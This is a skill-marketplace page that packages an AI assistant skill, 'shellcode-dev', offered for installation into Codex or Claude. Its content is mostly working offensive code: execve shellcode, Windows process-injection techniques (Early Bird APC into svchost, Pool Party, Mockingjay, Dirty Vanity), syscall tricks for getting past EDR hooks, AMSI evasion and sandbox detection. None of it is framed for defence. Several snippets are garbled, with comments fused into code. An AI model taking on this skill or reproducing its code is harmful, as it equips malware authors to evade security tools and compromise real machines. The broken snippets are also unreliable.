Use when writing position-independent shellcode or a loader — PEB walking, API hashing, null-byte avoidance, encoders, loaders, PE-to-shellcode conversion, cross-platform shellcode
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
The command stays on one line. Scroll horizontally to inspect it before copying.
Prefer a local copy? Download the files currently available to SkillsMP.
Showing SKILL.md
SKILL.md
Source instructions · Read-only preview
name
shellcode-dev
description
Use when writing position-independent shellcode or a loader — PEB walking, API hashing, null-byte avoidance, encoders, loaders, PE-to-shellcode conversion, cross-platform shellcode
Protection: compress (LZMA) + encrypt (AES/RC4/XOR32) before storing
DripLoader Pattern
1. Reserve 64KB chunks with NO_ACCESS
2. Allocate 4KB RW chunks within that pool
3. Write shellcode in chunks in randomized order
4. Re-protect to RX
5. Overwrite prologue of ntdll!RtlpWow64CtxFromAmd64 with JMP trampoline
6. All calls via direct syscalls (NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx)
Cross-Platform Considerations
Windows on ARM64 (WoA)
Syscalls use SVC 0 with ARM64 syscall table
Pointer Authentication (PAC) signs LR — avoid stack pivots or re-sign with PACIASP
Different register conventions (x0-x7 for args, x8 for syscall number)
Linux x64
; execve("/bin/sh", NULL, NULL)
xor rsi, rsi
mul rsi ; rax=0, rdx=0
push rsi
mov rdi, 0x68732f2f6e69622f ; /bin//sh
push rdi
push rsp
pop rdi ; rdi = pointer to "/bin//sh"
mov al, 59 ; syscall number for execve
syscall
macOS (Apple Silicon)
Syscall numbers offset by 0x2000000 (e.g., execve = 0x200003B)
Code signing enforcement — unsigned code won't execute without entitlements
Hardened runtime prevents most injection techniques
Windows 11 24H2 Notes
AMSI heap scanning active: allocate PAGE_NOACCESS → decrypt in place → PAGE_EXECUTE_READ
Smart App Control blocks unsigned outbound connections
Enhanced stack tracing checks full call chain
Advanced: Modern Injection Techniques
Early Bird APC Injection
// Inject before process initialization — APC runs before entry point// Avoids EDR hooks that are set up during DLL loading
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Allocate and write shellcode
LPVOID base = VirtualAllocEx(pi.hProcess, NULL, scSize, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(pi.hProcess, base, shellcode, scSize, NULL);
VirtualProtectEx(pi.hProcess, base, scSize, PAGE_EXECUTE_READ, &old);
// Queue APC to main thread — executes before entry point
QueueUserAPC((PAPCFUNC)base, pi.hThread, 0);
ResumeThread(pi.hThread);
Threadless Injection (Hook-Based)
// No new thread created — hijack existing thread's execution flow// Patch a function pointer or callback in target process// 1. Find a function in target that will be called (e.g., sleep callback, timer)// 2. Allocate shellcode in target process// 3. Overwrite function pointer to point to shellcode// 4. Shellcode executes when target naturally calls the function// 5. Shellcode restores original pointer after execution// Example: Hook NtWaitForSingleObject return in target's thread
PVOID hookAddr = GetRemoteProcAddress(hProcess, "ntdll.dll", "NtWaitForSingleObject");
// Write trampoline: execute shellcode → jmp back to original
BYTE trampoline[] = {
0x50, // push rax (save)0x48, 0xB8, 0,0,0,0,0,0,0,0, // mov rax, shellcode_addr0xFF, 0xD0, // call rax0x58, // pop rax (restore)0xE9, 0,0,0,0// jmp original_bytes
};
Pool Party (Thread Pool Injection)
// Abuse Windows Thread Pool internals for injection// 5 variants targeting different TP structures// Variant 1: Worker Factory (TP_WORK)// Insert malicious TP_WORK item into target's thread pool queue// When thread pool processes work items, shellcode executes// Variant 2: Timer Queue// Create timer in target process's timer queue// Timer callback = shellcode address// Variant 3: I/O Completion Port// Queue completion packet to target's IOCP// Completion callback = shellcode// Variant 4: Wait Callback// Register wait on an object in target process// Signal the object → wait callback (shellcode) fires// Variant 5: TP_ALPC// Inject ALPC message that triggers callback in target's thread pool// Key advantage: No CreateRemoteThread, no APC — uses existing thread pool threads// EDR sees: legitimate thread pool activity
Mockingjay (RWX Section Abuse)
// Find DLLs with existing RWX sections — no VirtualAlloc/VirtualProtect needed// msys-2.0.dll has a large RWX section by default// 1. Find DLL with RWX section// 2. Load it into target process (or find already loaded)// 3. Write shellcode directly into RWX section// 4. Execute — no memory permission changes to trigger ETW TI// Self-injection variant:
HMODULE hMod = LoadLibraryA("msys-2.0.dll");
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)hMod + ((PIMAGE_DOS_HEADER)hMod)->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if ((sec[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) &&
(sec[i].Characteristics & IMAGE_SCN_MEM_WRITE)) {
PVOID rwx = (BYTE*)hMod + sec[i].VirtualAddress;
memcpy(rwx, shellcode, scSize);
((void(*)())rwx)();
}
}
Dirty Vanity (Process Forking)
// Use NtCreateProcessEx to fork current process// Forked process inherits all memory including shellcode// No WriteProcessMemory or VirtualAllocEx in target// 1. Allocate and prepare shellcode in current process// 2. Fork using NtCreateProcessEx (creates copy of address space)// 3. Create thread in forked process at shellcode address// Fork inherits memory layout — shellcode already present
HANDLE hFork;
NtCreateProcessEx(&hFork, PROCESS_ALL_ACCESS, NULL, GetCurrentProcess(),
0, NULL, NULL, NULL, 0);
// Shellcode is already at same virtual address in fork
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hFork,
shellcodeAddr, NULL, 0, 0, 0, 0, NULL);
Advanced: Syscall Techniques
Hell's Gate (Runtime SSN Resolution)
// Resolve System Service Numbers (SSN) at runtime from ntdll// Avoids hardcoding SSNs that change between Windows versions// Pattern: ntdll Nt* functions start with:// 4C 8B D1 mov r10, rcx// B8 XX 00 00 00 mov eax, SSN ← extract this// 0F 05 syscall
DWORD GetSSN(PVOID funcAddr) {
BYTE* p = (BYTE*)funcAddr;
if (p[0] == 0x4C && p[1] == 0x8B && p[2] == 0xD1 && // mov r10, rcx
p[3] == 0xB8) { // mov eax, imm32return *(DWORD*)(p + 4);
}
return0; // Hooked — need neighbor technique
}
Halo's Gate (Hooked SSN Recovery)
// When EDR hooks ntdll, the mov eax pattern is replaced with JMP// Solution: look at neighboring syscall stubs (±1, ±2...) and calculate
DWORD GetSSNHalosGate(PVOID funcAddr) {
BYTE* p = (BYTE*)funcAddr;
// Check if function is hooked (starts with JMP instead of mov r10, rcx)if (p[0] == 0xE9 || p[0] == 0xFF) {
// Walk UP to find unhooked neighborfor (int i = 1; i < 500; i++) {
BYTE* neighbor = p - (i * 32); // syscall stubs are 32 bytes apartif (neighbor[0] == 0x4C && neighbor[1] == 0x8B && neighbor[3] == 0xB8) {
return *(DWORD*)(neighbor + 4) + i; // neighbor SSN + offset
}
// Walk DOWN
neighbor = p + (i * 32);
if (neighbor[0] == 0x4C && neighbor[1] == 0x8B && neighbor[3] == 0xB8) {
return *(DWORD*)(neighbor + 4) - i; // neighbor SSN - offset
}
}
}
return *(DWORD*)(p + 4); // Not hooked
}
Tartarus' Gate (Exception-Based)
// Handle case where EDR uses different hook patterns// Some EDRs use: mov eax, SSN; jmp hook (preserving first instruction)// Tartarus checks for: 0xB8 [SSN] 0xE9 [offset] pattern
DWORD GetSSNTartarus(PVOID funcAddr) {
BYTE* p = (BYTE*)funcAddr;
// Pattern: mov r10, rcx; mov eax, SSN; test [byte]; jne [hook]if (p[3] == 0xB8 && p[8] == 0xF6 && p[18] == 0x0F && p[19] == 0x05) {
return *(DWORD*)(p + 4); // SSN preserved despite hook
}
// Fall back to Halo's Gatereturn GetSSNHalosGate(funcAddr);
}
Indirect Syscalls
; Direct syscall: syscall instruction in your code — flagged by EDR
; Indirect syscall: jump to syscall instruction inside ntdll
; 1. Resolve SSN (Hell's/Halo's Gate)
; 2. Find syscall;ret gadget in ntdll
; 3. Set up registers, JMP to ntdll's syscall instruction
global IndirectSyscall
IndirectSyscall:
mov r10, rcx ; first arg
mov eax, [rsp+28h] ; SSN (passed as 5th arg)
jmp qword [rsp+30h] ; jump to syscall;ret in ntdll (6th arg)
; Return address on stack points back to our code
; But syscall instruction is inside ntdll — passes stack trace checks
Advanced: Anti-Analysis & Sandbox Evasion
Timing-Based Detection
// RDTSC-based VM/debugger detection
ULONGLONG t1 = __rdtsc();
// Perform operation that's fast on bare metal, slow in VM/debuggervolatileint x = 0;
for (int i = 0; i < 100; i++) x += i;
ULONGLONG t2 = __rdtsc();
if ((t2 - t1) > 1000) return; // Too slow — likely instrumented// NtDelayExecution timing check
LARGE_INTEGER start, end, delay;
NtQuerySystemTime(&start);
delay.QuadPart = -10000000LL; // 1 second
NtDelayExecution(FALSE, &delay);
NtQuerySystemTime(&end);
// If elapsed < 900ms, sandbox is fast-forwarding timeif ((end.QuadPart - start.QuadPart) < 9000000LL) return;